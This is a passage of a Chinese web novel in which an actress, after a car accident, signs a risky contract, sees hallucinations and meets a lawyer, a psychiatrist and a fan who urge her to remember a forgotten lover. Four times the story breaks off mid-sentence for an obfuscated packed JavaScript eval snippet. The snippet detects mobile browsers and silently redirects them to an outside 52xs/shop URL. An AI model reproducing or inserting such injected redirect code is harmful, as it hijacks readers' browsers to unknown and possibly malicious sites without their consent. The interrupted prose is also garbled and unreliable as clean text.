只是虽然两人是在谈合作，但宁昭在看到克洛斯那运筹帷幄的笑时心底还是会涌上莫名的不适感。 还有一种仿佛对不起谁的感觉。 但要问她到底对不起谁，她也说不出来。 此时，克洛斯像是早就准备好似的，拿出了另一份协议。 第二份协议的对接人不是宁昭的经纪公司，而是她本人。 协议内容为：克洛斯所在的娱乐公司将全权帮助宁昭处理与前司解约的一切事宜，条件是宁昭参演的系列电影需在中国市场达到20亿的票房，否则她就会自动与克洛斯的公司签订合作为期20年的合同。 如果她不愿执行，那面对她的将是天价违约金，会让她直接一夜回到解放前。 这是一份风险很大的对赌协议，也相当于一份卖身契。 宁昭看了几秒，掏出早就准备好的签字笔，写上了自己的名字。 * “怎么样？谈成了吗？” 走出包厢，简香寒已经在门口等了许久，神态看起来有些焦灼。 “没谈成。” 宁昭耸耸肩，作出一副很遗憾的模样：“他的条件我没办法答应。” 简香寒脸色一黑：“你个丫头，性子别太倔了，这么好的机会，你真的愿意拱手让人？” “又没让你去，你当然站着说话不腰疼。” 看穿简香寒的小心思，宁昭觉得没意思得很，赶紧敷衍她：“我劝你彻底断了这个心思，我宁昭缺这一部电影饿不死，犯不上为了个资源把自己清白搭进去。” 因为言语中有误导简香寒她要被潜规则的意思，所以说话时宁昭一直看着她的眼睛，似乎是想看看她情绪的变化。 果然，简香寒眸中闪过恼火，语气也变差：“死性不改，没出息。他长那么帅，手里还有资源，你到底有什么不满意的？真是高贵死了，觉得什么男人都配不上你是吧？” 宁昭嗤之以鼻。 她了解公司的尿性，也知道简香寒不会这么轻易就放过这次机会，后面还会有更多糟心事出现。 不过得到了克洛斯的保证，宁昭也不是太担心。 可能是受到车祸的影响，她现在每天稍微活动一下筋骨就会感觉疲惫，而正是这征兆让她心底警铃大作。 为了让身体再次熟悉以前的生活状态，回家前宁昭特地绕到了常去的健身房。经过两个小时的锻炼后，酸痛的肌肉终于让她找回了一点曾经的感觉。 回到家，她照例站在镜子面前欣赏她的脸。 毕竟是靠脸吃饭的职业，她很在乎自己脸上任何一点细微的变化，所以她每天晚上都会花时间好好观察它。 好在她最近生活规律，眉目清晰立体，皮肤水润细腻有光泽，看着状态很好，无需过于操心。 除此之外，金色头发也是相得益彰，衬得她肤色格外白皙。 确认脸没出问题后，她进入浴室准备洗澡，却在拿起浴巾时僵住了身形。 金色头发？为什么是金色头发？ 像是突然被闪电击中，她立刻把浴巾扔下踉跄着跑回镜子前，却发现自己的发色依然是白天刚染的黑色。 这不可能。她无比确定刚刚看到的自己就是金发。 她揉了揉眼睛，不信邪地又看了眼镜子。但镜中的她依然青丝如瀑，就好像刚才看到的一切都是幻觉。 太阳穴开始不安跳动，宁昭颤抖着拿起手机，点开百度，在搜索框里打字： 【人会看到幻觉吗？】 【车祸会引发的后遗症】 【看到幻觉会是精神出了问题吗？】 【精神分裂的前兆】 【这个世界有bug吗？】 看了几个问题的回答后，她的心凉了一半，转手就给自己在精神科挂了个号。 洗澡时，她头脑里的思绪纷乱，感觉心头压着许多的事没有解决，沉甸甸的，让她呼吸不过来。 就这样洗完澡，她擦着头发坐到梳妆镜前，准备开始护肤。 拉开抽屉，目光忽然被一张躺在收纳盒里的名片吸引。 ——LAWFIRM. 上面有这样一行英文，下面是一串小字： 如需法律咨询，请拨打此电话。 名片上甚至没有名字，只表明了它是一家“律师事务所”，甚至连前缀都没有，就好像是为宁昭量身打造的一样，而她却一点印象都没有。 可冥冥之中又有力量指引着她，告诉她联系这个号码是正确的。 犹豫了几秒，宁昭还是拨通了这个电话。 “你好。” 电话那头的男声因电流而显得略微嘶哑。 斟酌了一下措辞，宁昭开口：“你好。请问是律师事务所吗？我在名片上看到了这串号码。” “是。” 肯定的声音传来：“你是宁昭。” 宁昭惊讶：“你……” “宁小姐，我曾说过，这张名片只会给你一个人。” 面对宁昭的惊讶，电话里的男人泰然自若，语气笃定：“既然你会给我打这通电话，那就说明你现在需要一个法律顾问。” “你叫什么名字？” 宁昭不想被他带着跑，转移话题拿回了主导权。 沉默五秒，电话那头轻叹一声：“我叫李绍。” 很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320922|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一点印象都没有。 宁昭在脑海里疯狂搜刮和这张名片以及李绍有关的记忆，但她大脑一片空白，连一丁点的细节都想不到。 她开始觉得事情变得扑朔迷离了起来。 “嗯，我需要法律咨询。” 冷静下来，宁昭轻吸一口气：“我们明天方便见一面吗？” 她再过两天就又要回到各地连轴转的状态，很久都不会再有这样只属于她一个人的时间。所以，她想趁工作来临之前把所有事情都解决好。 “当然。” 那头答应得爽快，随后便报了一串地址。 事务所在海城最繁华的CBD地段，听起来还算靠谱。 挂了电话，宁昭觉得自己简直就是疯了，竟然会相信一张凭空出现的名片。 但她明天依然会去。因为第六感告诉她这样做是对的，她一直都很相信自己的第六感。 这晚，宁昭带着心事入睡，做了一个光影交错的梦。 梦中的她站在上帝的视角，看到自己被困在一个方方正正、被完全密封的房间里。房间的四周都是屏幕，正像播电影一般放着各种梦幻的剧情。 房间里的宁昭站在中间，时而面带笑容，时而神情惆怅。她入迷地看着四周的屏幕，仿佛已经融入进电影里的生活，在房间里像普通人一样吃饭、睡觉、生活。 她看起来过得很充实，但站在上帝角度去看，她只是在房间内不停地行走。走完一圈就走第二圈，直到她的容貌逐渐老去，青丝也褪成白发，最后她走不动了，就躺倒在地上，疲惫地闭上了眼睛。 宁昭就这样站在上帝视角，看着自己走完这徒劳的一生。 也许房间里的“宁昭”很幸福，但站在上空的宁昭却比谁都清楚，这是楚门的世界。 画面一换，躺倒在地上的小人容貌又回到最艳丽的时候，已经斑白的头发也变回乌黑蓬松——她又回到了刚开始的时候。 一切开始循环，小人又开始不停地行走。 这一次宁昭不想再看她这样死去，于是她伸手去抓，想把小人抓离这个房间。但她发现不管自己怎么努力，指尖都没办法触及房里的世界。 “宁昭。” 耳边忽然有男人在轻唤她的名字。这声音令她倍感亲切，亲切到她只是听到一句，眼泪就毫无征兆地流了下来。 也正是这时，宁昭被吓得猝然惊醒。 侧头看向窗外，天色已经微熹。 她伸手摸了摸自己的脸，手心湿了一片。 * 孤身一人来到位于海城国金大厦三十二层的律师事务所，宁昭敲响了办公室的门。 “请进。” 男声隔着门板传了过来。 推开门，一个年轻男人已经坐在了沙发上，像是早就在等待她的到来。 面前的茶几摆着两杯热气腾腾的咖啡，氤氲出的雾气让她一时看不分明李绍的长相。 于是她稍微走进些，终于看清了他的脸。 长相清隽，在普通男人中算上乘，戴着一副金丝框眼镜，颇有斯文败类的气质，起码看着是让人感觉靠谱的。 她在他面前的沙发上坐下，从包里拿出一份合同，开门见山：“我想请你帮我看一下这份合同是否存在漏洞。” 69. 未完成之事 这是宁昭刚出道时和公司签订的合同。 那时她还在读大三，因参加学校的文艺联赛夺冠被公司星探发现，在正式决定踏入娱乐圈之后，她就和公司签订了为期五年的合约，一直持续到现在。 其实公司一开始拟定的时间是十年，但那时的她觉得时间太长了，就一直没有答应签约。 可能公司看到了她身上无限的潜力，无论如何都想把她收入囊中，于是便主动缩减时间到五年，宁昭这才答应签约。 这样一来，这份“卖身契”到期时她也才25岁，就算进入娱乐圈后发展得不好，她还能及时止损，不用把整个青春都搭上，也算是给自己留了一条后路。 但一夜爆火却让她始料未及。 五年来，她帮公司创造了巨大的利益，也凭实力成为了公司当之无愧的一姐。但合同到期的时间越临近，宁昭就越能感觉到公司的急躁——就像克洛斯说的那样，公司不会轻易放弃一颗像她这样的摇钱树。 于是越来越多的狗仔和侦探出现在她家附近，简香寒时不时的试探和背刺也让她感觉精疲力尽。 这些变化让她越发担心原本签订的合同里有什么文字陷阱和未被发现的隐形条款，这才会带着合同来到律师事务所，想要未雨绸缪。 接过合同，李绍从头到尾认真看了一遍，足足看了半个小时。看完后，他把合同还回去：“没有什么大问题，就是可能会钻空子让你赔点钱，想解约还是不难的。” “这都是小事。” 宁昭松了口气，心头压力顿时少了一半：“如果是这样的话，请问我能不能聘请你作为我的代理律师？我后面还有一系列合同要签，为了避免被坑，我需要一名律师。” “当然。” 没有半分犹豫，李绍答应得很爽快：“你可以随时打我电话。” 这一切进行顺利得有些诡异，宁昭不免有诸多疑虑：“李先生，我们之前认识吗？” 一张单独为她定制的名片不可能莫名其妙出现在她的家里，但她看过监控，没人进出过她的家，只有可能是她自己带回来的。 但她却什么都记不起来。 “宁小姐，您的精神状态看起来并不是很好。” 李绍没有正面回答这个问题，而是勾起一抹意味不明的笑：“如果有时间，建议你去医院检查一下。” “……” 太不礼貌了。 不过宁昭也正有这个打算。 不知为何，宁昭对李绍抱有一种莫名的信任，甚至有种想要更靠近他的冲动。她不知这种感觉从何而来，但它确实影响着她的心情，也改变了她的态度。 “我刚好认识一个心理医生，他很擅长应对你这种状态。” 李绍当没看出宁昭的异样，拿出一张名片放到她面前：“也许你会在他那里找到答案。” 名片上面写着另一个陌生的名字：时也。 下午，宁昭来到了海城第一人民医院。 工作日的医院向来是人山人海，今天也不例外。虽然宁昭昨天提前挂了一个精神科的号，但她到了医院才知道，这个名叫时也的医生要挂专家号，不提前半个月是抢不到他的号的。 她没有那么多时间去等，也不想错过今天空闲的机会，便踌躇着想是不是要打时也的私人电话问一下，又或者是直接在普通心理医生那看诊算了。 这时，耳边忽然传来低低的女声：“时也医生的号要不要？现在就能进，这个数。” 转头一看，和宁昭说话的是一个长得很漂亮的女孩，看起来年纪不大，但眼睛却转得精明，边和宁昭说话，边给她比了个数字“5”。 “……5000？” 宁昭拿捏不准她的意思，犹豫着问了一句。 “50就够了，今天疯狂星期……” 说到这，女孩像是说漏了嘴，赶紧换个话题：“反正只要50，包你今天能看上病！” 这女孩看着十几岁的模样，不像专业黄牛，倒像是谁家没看好偷偷跑出来的小孩，在医院里随机挑选幸运患者坑一笔小钱。 “我为什么相信你呀？” 女孩长得十分可爱，宁昭第一眼看了觉得喜欢，便笑着逗了她一句：“既然时医生那么忙，怎么可能50块钱就能让我排上号呢？” “你不信我带你去见他呀，但是你要答应我事后给我50块钱！” 女孩眨巴眼睛，拉住宁昭的手就要带她往时也的办公室走。 看着她这么自信的样子，宁昭倒是来了兴趣，想看看她到底有没有这个能耐。 结果她还真有。 女孩带着宁昭在人群中一路穿梭，轻车熟路地来到一个办公室前，不管门外等得老长的队伍，拉着她正大光明地走了进去，随后她便笑嘻嘻地说：“哥哥，我有事找你！” “……” 宁昭汗颜。 怪不得这么自信，原来是关系户。 听到这声音，时也有些意外地看了看门口，发现来人是女孩和宁昭。他露出一抹无奈的表情：“时姬，你又逃学。” 时姬抬头对着宁昭挤眉弄眼：“姐姐，我已经带你过来啦。” 话一说完她就一溜烟跑了，无视了时也对她的苛责，只留下宁昭和另一位正在看诊的患者在原地愣神。 时也回神，抱歉地朝宁昭笑笑：“请稍等。” 她不动声色点了点头，在一旁的椅子上坐下，偷偷打量了时也几眼。 这个时医生长相是真的好，就是有点太白了，反倒透出几分病态的感觉，看着有些羸弱，身材瘦削如纸片，她以前从未见过这么有破碎感的男人。 收回视线，宁昭悄悄松了口气。今天的运气确实是好，被医生亲属亲自带来看诊室这么小概率的事情都被她给碰到了。 好在这位患者的看诊已经临近尾声，很快，看诊室里就只剩下了时也和宁昭两个人。 “我妹妹打扰了你，很抱歉。” 时也看向她：“我可以为你插个队。” 宁昭坐到时也办公桌前，把脸上的口罩墨镜都摘下：“不算打扰，她很可爱。是我打扰了您才对。” 结果，时也看到宁昭的脸却一点都不惊讶，神态依旧淡定自若：“有什么问题，和我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376195|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说说吧。” 宁昭心安理得地接受了自己今天的幸运，开门见山把这几天遇到的感觉诡异的事情都告诉了时也。 时也认真听到最后，全程一言不发，直到宁昭说完，他才若有所思地点了点头：“既然出院时的报告显示你的身体并没有异常，那我更倾向于是你的心理出现了问题。” “但我之前从来没有这样的状况……而且还会做很诡异的梦。” 想到昨天那个画面分外清晰诡异的梦，宁昭倒吸一口气：“我昨天梦到自己被困在一个虚假的世界里不停循环，很奇怪，前几天做的梦都是睁眼就忘了，但昨天的梦我却记到现在，依然很清晰。” “那你认为这个世界是真实的吗？” 时也莞尔一笑：“一切都要看你自己的想法。” 世界是不是真实的？当然是真实的。宁昭从来没有怀疑过这一点。 但就在时也说出这句话时，宁昭忽然感觉面前的景象变得模糊，只有时也的脸能让她看得清楚。只是一瞬间，就是这一瞬间，让宁昭一直以来坚定的想法开始动摇。 “我以前见过你。” 宁昭的声音很笃定：“我一定见过你。” 好像被风吹一下就会倒下的羸弱身体、总是笑眯眯的倏黑双瞳、还有一个跟他不对付见面总是拌嘴的黑发男人…… 那个男人是谁？ 脑海里只有破碎的画面，但她什么都不记得。 “宁小姐，你有喜欢的人吗？” 就在这时，他清越的声音再次响起，宁昭几乎毫不犹豫：“有。” 说完她自己都愣了。这个人是谁？她根本说不出名字，只知道她的生命里应当有这样一个人存在。 “你的精神并没有出现错乱，也不需要服药治疗。” 时也看着她出神的模样，微微松了口气：“坚定信念，你会找到破解的方法。我只能帮你这么多。” “……好，谢谢时医生。” 忽然觉得有些疲惫，宁昭起身按了按太阳穴：“请问我应该怎么缴费？” “不用，举手之劳。”时也摇摇头：“回去后保持好心情很重要……平时你和粉丝的关系怎么样？” 他这个问题让宁昭微怔：“粉丝？” 想到还有一群永远无条件支持自己的人，她脸上的神情柔和了些：“和她们相处的确让我开心。” 哪怕是拍了一夜的戏困到眼皮打架，看到等在片场外彻夜没睡的粉丝后，她也会很快就打起精神，心情也不自觉地变好。 “嗯，如果这样让你开心，可以多去见见你的粉丝。” 听到他这么说，宁昭缓缓点了点头。 走出医院，时间刚好到中午。宁昭回想着刚才时也跟她说过的话，越想越觉得蹊跷。 忽然想到了什么，宁昭立马翻出手机，给简香寒打了个电话。 “怎么了，你回心转意了？” 简香寒接得很快，上来就劈头盖脸问了这么一句。 不过宁昭直接无视了她这句话。 “我上次握在手里的同心结，被你放到哪里去了？” 70. 未完成之事 “同心结？在我包里，你要这个做什么？” 那头顿了几秒：“想起它是哪里来的了？” “嗯，下次见面时记得带来，我有用。” 说话时，宁昭忽然感觉自己衣摆被人扯了扯。低头一看，发现扯她的人是时姬。 “行。” 简香寒不知道她这边的状况，还在絮絮叨叨：“美国那边的合作你要不要再考虑一下……” 宁昭想也没想就挂断电话，弯下身摸摸时姬的头发：“走，姐姐带你去肯德基疯狂一下。” 刚让时医生帮她免费看了个病，她怎么说也得把人家妹妹的肚子给填饱。 “那么多人想挂你哥哥的号，为什么你偏偏帮我？” 看着面前吃得开心的时姬，宁昭用手撑住自己的侧脸，冷不丁问了一句。 如果她没记错，刚才那条队伍排的可都是想见时也的人。 “因为你最漂亮。” 此刻，她的眼里只有草莓圣代和吮指原味鸡，但说话的语气却毫不含糊：“虽然你没露脸，但我能感觉出你是个大美女。” “小嘴还挺甜。” “嗯嗯。” 时姬吃得摇头晃脑：“姐姐，你觉得我哥怎么样？是不是长得还挺帅的？” “是帅啊。” 捻了一根薯条放进嘴里，宁昭看向窗外的广告牌，心绪有些飘远。 她记起来她曾经见过时也，但到底是在哪里见过的呢？ “那姐姐有没有男朋友？” 时姬试探的声音把宁昭拉回现实。 听出她话中的意思，宁昭好整以暇地看向她：“我说怎么找我呢，合着你是给你哥找对象呢？” 还挺为他哥着想，知道挑个漂亮的。 “哥哥都奔三了，身边还没有女孩子，我担心嘛。” 时姬嘿嘿一笑，开始不遗余力推销她哥：“先不说我哥哥的长相如何，他人品绝对没问题！父母早早去世后，他一个人把我拉扯大，从来都没想过抛弃我，还为了我拒绝了好多漂亮姐姐的追求……” “所以你长大了想报答你哥哥，就开始主动帮他张罗对象了？” 吃东西时的时姬小嘴一鼓一鼓的，看得宁昭心生欢喜，不自觉伸手刮了刮她的脸：“可惜姐姐已经有喜欢的人了。” “啊！是哪个哥哥这么有福气？” 时姬脸上闪过失落的表情，说话语气依旧抑扬顿挫，听得宁昭忍俊不禁，又摸了摸她的脸，但没有说话。 究竟是谁这么有福气—— 宁昭总有一天会找到他。 * “这同心结到底什么来头？” 上了车，简香寒发现宁昭还在看手里的东西，不禁调笑一句：“是旧情人给的定情信物？从巴黎到曼谷，你已经盯着它看了一路了。” “定情信物能让你看见。” 终于收起同心结，宁昭回怼一句，闭眼靠在头枕上，心底依旧没什么思绪。 “我也觉得裴庭煜不像这么有情调的人。” 简香寒惯会在宁昭回嘴时说风凉话，从不会因为宁昭语气不好就生气，反而一句话就能堵到宁昭哑口无声。 “谈过一个被你叨叨五年。” 听到这晦气名字宁昭就烦，眼罩一戴就开始闭目养神。直到车在酒店前停下，她又补了个长长的觉。 刚在巴黎参加完时装周，紧接着就马不停蹄来到了曼谷。一路颠簸，宁昭没怎么睡好觉，整个人精神蔫蔫的，总觉得困。 直到睡到第二天起来化妆，元气才稍微恢复了些。 “叮——” 手机提示音响起，宁昭拿过梳妆台上的手机看了眼，发现是李绍发来的微信。 【李绍】：我也在曼谷。 盯着这条消息沉吟了几秒，宁昭给他回了一条消息。 【宁昭】：你的业务已经拓展到泰国了？ 【李绍】：说笑了。只是散心，结果听到旁边两个小姑娘聊天，说你今天也在曼谷。 她这次的行程是公开的，有许多粉丝特地从中国来曼谷给她应援，再加上来泰国旅行的中国人有很多，李绍能知道这件事就显得十分合情合理。 【宁昭】：是，而且我的经纪人也在，并且一直蠢蠢欲动中。 不知为什么，虽然简香寒和宁昭的相处还和平时一样没什么区别，但自从上次克洛斯点明了简香寒的不轨意图后，宁昭再看她时就带了些警备与疑心。 【李绍】：有需要随时找我。 这句说完之后就没有了下文。 “好了，姐姐看看满不满意。” 化妆师拍了拍宁昭的肩，示意她回神。宁昭抬头，镜中的自己美艳绝伦，她却没了欣赏的心情。 但就算是这样，她还是对化妆师表达了感谢。 “走吧，活动快开始了。” 听到简香寒的催促，宁昭关了手机，提起裙摆起身。 这次活动举办在曼谷的CentralWorld。这是一个商场，位于曼谷最繁华的地段，平日里就有很多人来，有明星在这里举办活动时来得人就更多。 宁昭的人气是毋庸置疑的。虽然来到了异国他乡，但商场里来的大多数还是她的粉丝，哪怕在场还有几个泰国女星，她们应援的规模相比较宁昭来说，还是逊色了许多。 和以往宁昭参加过的任何活动一样，她一出场耳边便响起震耳欲聋的尖叫声，在喧哗的人声浪潮中，她只能听清自己的名字，还有络绎不绝的夸奖声。 台上很亮，闪光灯晃得她眼睛花，亮到看不清台下，只有一抹红色进入她的视线—— 那是她的男粉丝，染着一头鲜艳的红发，站在第一排拼命朝她挥手，存在感太强，让人想不看到都难。 原本宁昭以为他只是热情，朝他友好挥了挥手后就看向了别处。但就在几分钟后，她隐隐感觉这个红发男的状态好像有点不太正常。 他不像其他粉丝那么兴奋，反而看起来很焦虑，神色严肃紧张，像是在说些什么。 只是人声鼎沸，宁昭听不到。 活动时间不长，算上主持人说话时间以及和其他女明星的互动，满打满算，宁昭在台上的时间只有半个小时。 下台后，她要路过第一排回到后台，但她这次没有离开得很匆忙，反而刻意走到了那个红发男生的面前，想要听听他到底在说些什么。 结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14503237|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果还真的让她听到了。 在尖叫声中，她清晰捕捉到了男生紧张的、近乎哀求的声音： “想起来啊，想起来啊姐，我是萧朔——” 听到熟悉的声音，她脑海中的弦被狠狠拨动，一股凉意从脊背攀升，逐渐蔓延至全身。 回到后台，简香寒看她状态不对劲扶了她一把，发现她的身体冰凉。 “是不是空调吹得太冷了？” 简香寒拿出随身携带的披肩披到她身上：“商场冷气开得足，小心受凉。” “走吧，快走。” 宁昭像忽然想到什么似的：“待会回去粉丝还会来是不是？” “对，待会还会有一波。怎么，你今天想互动了？” 看到宁昭魂不守舍的模样，简香寒觉得她很奇怪：“你受什么刺激了？” “别说话了，快走吧——” 宁昭一把拿过沙发上的包，另一只手拉住简香寒的手：“我不互动，你待会去门口把一个红头发长得有点小帅的男生带到我车上，千万别声张。” 简香寒像见了鬼：“宁昭你疯了吧，你要睡粉吗？” “是啊，所以你一定要小心，谁都不能发现，不然下场你懂的。” 宁昭的表情一本正经，让人分不清她到底是在讲冷笑话还是认真的，哪怕是和她相处了五年的简香寒，也不知道她葫芦里卖的什么药。 即便如此，简香寒还是照做了。 坐在保姆车内，宁昭等得很焦急。 萧朔，这个名字她肯定听过的。她不想再维持这种明明应该想起些什么却始终一头雾水的状态了，所以她今天无论如何都要把事情搞清楚。 “姐……” 车门一拉开，被简香寒带来的萧朔看到车里的宁昭，眼泪几乎要夺眶而出：“我终于找到你了！” “寒姐，你和司机大哥先下车，我有些话要跟他说。” “你今天让我觉得陌生。” 简香寒不敢相信面前的女人就是那个五年如一日始终爱惜自己羽毛的宁昭。 她不要名声了吗？ 不过简香寒可没有好心提醒，反而是拿出手机准备拍几张照片。不管宁昭现在想干嘛，给公司留点料才是真的。只有抓住宁昭这颗摇钱树，她才能永远过今天这样安逸的日子。 “我们之前见过。” 关上车门后，笃定的声音在车内响起。宁昭看着萧朔，脑海中的记忆开始渐渐成型。 这感觉，和她见到时也时一模一样。 萧朔点点头，却没能说得更具体：“姐。我说不了太多，你得靠自己想起来。” 说罢，他从口袋里掏出一张照片递到宁昭面前：“这是我拼了命才带过来的，你一定要收好，不能声张，千万不能被那个人看到。” 看清照片的瞬间，宁昭脑袋里嗡的一声，一片空白。 这是一张黑白色的、民国时期的结婚照。照片上的女人是穿着旗袍挽着发髻的宁昭，明眸皓齿、巧笑倩兮，而她身旁的男人拥有一张和她势均力敌的脸，眉间神态寡淡，却难掩其中喜悦。 这是一张女主角为她本人的结婚照。 “宁昭，你不能忘了他。” 71. 未完成之事 这是萧朔第一次如此正式、严肃地在宁昭面前叫她的名字。 看到面前的照片，从病床上醒来后发生过的一切如海啸般朝宁昭涌来。 她还没来得及反应，眼前一黑，就这样晕了过去。 * 再次睁眼，宁昭看到一顶红发。 床边的萧朔看到宁昭醒了，松了口气：“终于醒了。” 简香寒也在边上。见宁昭苏醒，她悬着的心放了下来：“你最近怎么回事？医生说你身体没有大碍，怎么会突然晕倒？” “你别说她了行吗。” 没想到宁昭还没发话，萧朔的脸已经冷了下来：“人都晕了还问她怎么晕的，是她自己想晕的吗？” 这火药味重的，像是要跟简香寒吵架。 被萧朔怼了这么一句，简香寒气得胸闷郁结，却又如鲠在喉，不知道怎么回，只能冷脸看向宁昭：“他到底跟你什么关系？要不是看他事发时在你身边，我根本就不会带他过来。” “寒姐，别生气。” 宁昭从床上坐起来，朝她投去一个安抚的眼神：“可能是最近没休息好，我没事。他也是关心我，别生气。” 见她这么温顺，简香寒的气渐渐也消了：“想不想吃点什么？” 闻言，宁昭摇头：“我想跟你说一件事，续约的事，我已经考虑好了。” 没想到她会突然提这茬，简香寒心猛地一紧：“怎么突然说这个？” “我会和公司续约的，你回去就准备合同吧。” 按了按太阳穴，宁昭的脸色看起来略显疲惫：“后天才回国，明天你可以放假了，我也刚好休息休息，不用跟着我。” 听到她松口，简香寒这次是真放心了，心情也肉眼可见地好了起来：“那好，你和这个小帅哥好好聊，我去给公司回个电话。” 这么重要的事情，当然是要第一时间报告领导。得尽快把续约合同签了，以免夜长梦多。 直到简香寒离开宁昭的脸色才缓下来，嘴边的笑容也渐渐消失。 “你真的还好吗？” 明显看出宁昭的不对劲，萧朔紧张起来，接过一旁的水：“喝水，喝水。” 他紧张得手心都冒汗。 但宁昭没理会他的动作，只是低头将脸埋进了自己的掌心。 不过几秒，萧朔看到宁昭的肩膀在颤抖，他意识到她在哭。 将手中的水杯放下，萧朔陷入了长久的沉默。直到宁昭的啜泣声消失不见，她红着眼睛看向他：“我想他，可我怎么都想不起来他是谁。” 她只是记得她的人生中应当有一个很重要的人，也知道自己应该想起他。但是她真的想不起来。 这时，突兀的手机铃声响起，宁昭抬头看向床头柜上的手机，来电显示“李绍”。 大概是内心某股力量使然，她想也没想就拿过手机，接通了电话。 然而那头却始终没有出声。 房间里很安静，静到只能听到手机拨通时产生的细微电流声响，还有就是男人清浅的呼吸声。 良久，他叹了口气，声音听起来有些嘶哑：“别哭。” “我想见你。” 宁昭握紧手机：“我想见你，就现在。” “嗯，我在你酒店楼下。” 他像是知道宁昭会这样说似的，欣然给出了这样的答复。 挂断电话，宁昭掀开被子就下床。 到了楼下，远远就能看到一抹高挑清瘦的身影站在大门口。很奇怪，他明明长着一张算不得平凡的脸，却有着让人难以忽视的气质。 天色已经晚了，夜幕降临，夕阳映照出他的剪影，陌生的轮廓却让宁昭看出熟悉的味道。 她走出去：“我们出去逛逛吧。” 他点头：“好。” 酒店订在活动会场的附近，刚好处于市中心。正是下班的时间点，路边随处可见穿着制服刚放学的高中生，耳边也尽是杂乱的汽车鸣笛声。 糟糕拥挤的交通构成曼谷独特的风景，也代替口罩和帽子成为了宁昭的遮蔽。 她很久没有这样毫无伪装地走在马路上，更别提身边有个男人了。 但此刻，她却觉得这一切都变得不再重要。 “我之前和大学室友来过一次泰国，那时我还没有出道。” 前面是红绿灯，他们随着人群停下，宁昭没有看他，只自顾自地说话：“过了红绿灯就是四面佛。我在这里许了个愿，希望我前程顺遂，家人身体康健、出入平安。” 身旁的男人没有说话，只静静听着。 “后来室友把我拉去附近的一家算命的店里，说这家很灵，要算一算我们的前程。” 想了想大致的方位，宁昭朝东南方指了指：“应该是那里。我记得是个小巷子，从大路拐进去后阴森森的，进去后我还挺害怕。” “害怕还去？” “室友硬拉着，我没办法。” 想到那时她赖在巷子口不肯进去，最后和夏筝讨价还价硬被拉进去的样子，宁昭脸上露出久违的笑意：“但好在是正经的店家。算命先生看到我就拍大腿，说我的命很好，如果出道定然会大红大紫，只是命途多舛，在心愿得成后一定要回来还愿，才能保一生平安。” 说来也是奇怪。明明那时的宁昭对这类装神弄鬼的玄学嗤之以鼻，但这个算命先生说过的话却清清楚楚地印在了她的心中。 如果她快忘了，那他定然会出现在她的梦里，仿佛是在提醒她，有些事情是不能忘记的。 “我没有还愿。” 绿灯亮了，宁昭转头看他：“今天是个很好的机会，你愿意陪我一起吗？” “愿意。” 听到肯定的答复，宁昭笑笑，和涌动的人群一起，走到了马路的另一头。 好在那家占卜的店还开着，但坐在店里的，却已经不是宁昭记忆中的那个算命先生。 面前的老人穿着道袍，留着白色胡须，长相没有泰式风味，看起来倒像是个中国的老人。 “看来施主已找回肉身，恭喜。” 一看到宁昭，老人就冷不丁说了这样一句话，听得宁昭后背僵硬。 又是这种似曾相识的感觉。 最关键的是，老人说的是中文。 “您有话对我说。” 坐到老者面前，宁昭直勾勾盯着他的眼睛，语气笃定。 “我知道你的困惑。” 他捋了捋自己的胡须，微眯着眼睛：“只是我之前就说过，天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506843|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机不可泄露。施主不妨把心中所想写到纸上，平心静气地去思考，前方自有你想要的答案。” “写下来？” “不止是你的困惑。你的心情、感受，你的愿望与期冀、悔恨或忏悔，都可以写下来。” 他伸手指了指桌上的红纸与毛笔：“当然，如果只是想还愿，那就在纸上写下‘得偿所愿’四个字。今后，你的人生将平安顺遂，一路坦途。” 听到这里，宁昭心下已经有了决断。 “要还愿吗？” 见宁昭沉默，身旁的男人轻声询问。 “不还。” 宁昭答得干脆：“不该在这个时候还。” 说罢，她已经拿起一张纸，开始低头写些什么。 “你也可以写。” 忽然，老者抬头看向男人：“在这位施主旁边的桌上，有同样的红纸。” 这句话仿佛是一个指引，促使着男人必须这么做。 犹豫了两秒，他点头，在宁昭一旁的桌子边坐下。 